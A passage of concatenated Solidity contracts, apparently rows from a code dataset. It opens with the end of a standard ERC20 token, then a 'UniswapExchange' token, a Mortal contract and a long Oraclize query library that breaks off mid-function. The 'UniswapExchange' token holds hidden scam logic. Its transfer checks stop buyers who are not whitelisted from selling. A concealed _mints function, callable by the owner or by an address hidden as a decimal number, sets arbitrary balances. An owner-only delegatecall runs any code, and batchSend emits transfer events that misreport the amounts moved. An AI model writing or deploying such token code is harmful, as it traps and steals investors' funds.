function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,631 |
pragma solidity ^0.4.0;
contract Mortal {
address owner;
function Mortal() { owner = msg.sender; }
function kill() { if (msg.sender == owner) selfdestruct(owner); }
modifier onlyOwner {
require(msg.sender == owner);
_;
}
}
pragma solidity >=0.4.1;
contract OraclizeI {
address public cbAddress;
function query(uint _timestamp, string _datasource, string _arg) payable returns (bytes32 _id);
function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) payable returns (bytes32 _id);
function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) payable returns (bytes32 _id);
function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) payable returns (bytes32 _id);
function queryN(uint _timestamp, string _datasource, bytes _argN) payable returns (bytes32 _id);
function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) payable returns (bytes32 _id);
function getPrice(string _datasource) returns (uint _dsprice);
function getPrice(string _datasource, uint gaslimit) returns (uint _dsprice);
function useCoupon(string _coupon);
function setProofType(byte _proofType);
function setConfig(bytes32 _config);
function setCustomGasPrice(uint _gasPrice);
function randomDS_getSessionPubKeyHash() returns(bytes32);
}
contract OraclizeAddrResolverI {
function getAddress() returns (address _addr);
}
library Buffer {
struct buffer {
bytes buf;
uint capacity;
}
function init(buffer memory buf, uint capacity) internal constant {
if(capacity % 32 != 0) capacity += 32 - (capacity % 32);
buf.capacity = capacity;
assembly {
let ptr := mload(0x40)
mstore(buf, ptr)
mstore(0x40, add(ptr, capacity))
}
}
function resize(buffer memory buf, uint capacity) private constant {
bytes memory oldbuf = buf.buf;
init(buf, capacity);
append(buf, oldbuf);
}
function max(uint a, uint b) private constant returns(uint) {
if(a > b) {
return a;
}
return b;
}
function append(buffer memory buf, bytes data) internal constant returns(buffer memory) {
if(data.length + buf.buf.length > buf.capacity) {
resize(buf, max(buf.capacity, data.length) * 2);
}
uint dest;
uint src;
uint len = data.length;
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
dest := add(add(bufptr, buflen), 32)
mstore(bufptr, add(buflen, mload(data)))
src := add(data, 32)
}
for(; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
uint mask = 256 ** (32 - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
return buf;
}
function append(buffer memory buf, uint8 data) internal constant {
if(buf.buf.length + 1 > buf.capacity) {
resize(buf, buf.capacity * 2);
}
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
let dest := add(add(bufptr, buflen), 32)
mstore8(dest, data)
mstore(bufptr, add(buflen, 1))
}
}
function appendInt(buffer memory buf, uint data, uint len) internal constant returns(buffer memory) {
if(len + buf.buf.length > buf.capacity) {
resize(buf, max(buf.capacity, len) * 2);
}
uint mask = 256 ** len - 1;
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
let dest := add(add(bufptr, buflen), len)
mstore(dest, or(and(mload(dest), not(mask)), data))
mstore(bufptr, add(buflen, len))
}
return buf;
}
}
library CBOR {
using Buffer for Buffer.buffer;
uint8 private constant MAJOR_TYPE_INT = 0;
uint8 private constant MAJOR_TYPE_NEGATIVE_INT = 1;
uint8 private constant MAJOR_TYPE_BYTES = 2;
uint8 private constant MAJOR_TYPE_STRING = 3;
uint8 private constant MAJOR_TYPE_ARRAY = 4;
uint8 private constant MAJOR_TYPE_MAP = 5;
uint8 private constant MAJOR_TYPE_CONTENT_FREE = 7;
function shl8(uint8 x, uint8 y) private constant returns (uint8) {
return x * (2 ** y);
}
function encodeType(Buffer.buffer memory buf, uint8 major, uint value) private constant {
if(value <= 23) {
buf.append(uint8(shl8(major, 5) | value));
} else if(value <= 0xFF) {
buf.append(uint8(shl8(major, 5) | 24));
buf.appendInt(value, 1);
} else if(value <= 0xFFFF) {
buf.append(uint8(shl8(major, 5) | 25));
buf.appendInt(value, 2);
} else if(value <= 0xFFFFFFFF) {
buf.append(uint8(shl8(major, 5) | 26));
buf.appendInt(value, 4);
} else if(value <= 0xFFFFFFFFFFFFFFFF) {
buf.append(uint8(shl8(major, 5) | 27));
buf.appendInt(value, 8);
}
}
function encodeIndefiniteLengthType(Buffer.buffer memory buf, uint8 major) private constant {
buf.append(uint8(shl8(major, 5) | 31));
}
function encodeUInt(Buffer.buffer memory buf, uint value) internal constant {
encodeType(buf, MAJOR_TYPE_INT, value);
}
function encodeInt(Buffer.buffer memory buf, int value) internal constant {
if(value >= 0) {
encodeType(buf, MAJOR_TYPE_INT, uint(value));
} else {
encodeType(buf, MAJOR_TYPE_NEGATIVE_INT, uint(-1 - value));
}
}
function encodeBytes(Buffer.buffer memory buf, bytes value) internal constant {
encodeType(buf, MAJOR_TYPE_BYTES, value.length);
buf.append(value);
}
function encodeString(Buffer.buffer memory buf, string value) internal constant {
encodeType(buf, MAJOR_TYPE_STRING, bytes(value).length);
buf.append(bytes(value));
}
function startArray(Buffer.buffer memory buf) internal constant {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_ARRAY);
}
function startMap(Buffer.buffer memory buf) internal constant {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_MAP);
}
function endSequence(Buffer.buffer memory buf) internal constant {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_CONTENT_FREE);
}
}
contract usingOraclize {
uint constant day = 60*60*24;
uint constant week = 60*60*24*7;
uint constant month = 60*60*24*30;
byte constant proofType_NONE = 0x00;
byte constant proofType_TLSNotary = 0x10;
byte constant proofType_Android = 0x20;
byte constant proofType_Ledger = 0x30;
byte constant proofType_Native = 0xF0;
byte constant proofStorage_IPFS = 0x01;
uint8 constant networkID_auto = 0;
uint8 constant networkID_mainnet = 1;
uint8 constant networkID_testnet = 2;
uint8 constant networkID_morden = 2;
uint8 constant networkID_consensys = 161;
OraclizeAddrResolverI OAR;
OraclizeI oraclize;
modifier oraclizeAPI {
if((address(OAR)==0)||(getCodeSize(address(OAR))==0))
oraclize_setNetwork(networkID_auto);
if(address(oraclize) != OAR.getAddress())
oraclize = OraclizeI(OAR.getAddress());
_;
}
modifier coupon(string code){
oraclize = OraclizeI(OAR.getAddress());
oraclize.useCoupon(code);
_;
}
function oraclize_setNetwork(uint8 networkID) internal returns(bool){
if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){
OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed);
oraclize_setNetworkName("eth_mainnet");
return true;
}
if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){
OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1);
oraclize_setNetworkName("eth_ropsten3");
return true;
}
if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){
OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e);
oraclize_setNetworkName("eth_kovan");
return true;
}
if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){
OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48);
oraclize_setNetworkName("eth_rinkeby");
return true;
}
if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){
OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475);
return true;
}
if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){
OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF);
return true;
}
if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){
OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA);
return true;
}
return false;
}
function __callback(bytes32 myid, string result) {
__callback(myid, result, new bytes(0));
}
function __callback(bytes32 myid, string result, bytes proof) {
}
function oraclize_useCoupon(string code) oraclizeAPI internal {
oraclize.useCoupon(code);
}
function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource);
}
function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource, gaslimit);
}
function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(0, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(timestamp, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(0, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_cbAddress() oraclizeAPI internal returns (address){
return oraclize.cbAddress();
}
function oraclize_setProof(byte proofP) oraclizeAPI internal {
return oraclize.setProofType(proofP);
}
function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal {
return oraclize.setCustomGasPrice(gasPrice);
}
function oraclize_setConfig(bytes32 config) oraclizeAPI internal {
return oraclize.setConfig(config);
}
function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){
return oraclize.randomDS_getSessionPubKeyHash();
}
function getCodeSize(address _addr) constant internal returns(uint _size) {
assembly {
_size := extcodesize(_addr)
}
}
function parseAddr(string _a) internal returns (address){
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i=2; i<2+2*20; i+=2){
iaddr *= 256;
b1 = uint160(tmp[i]);
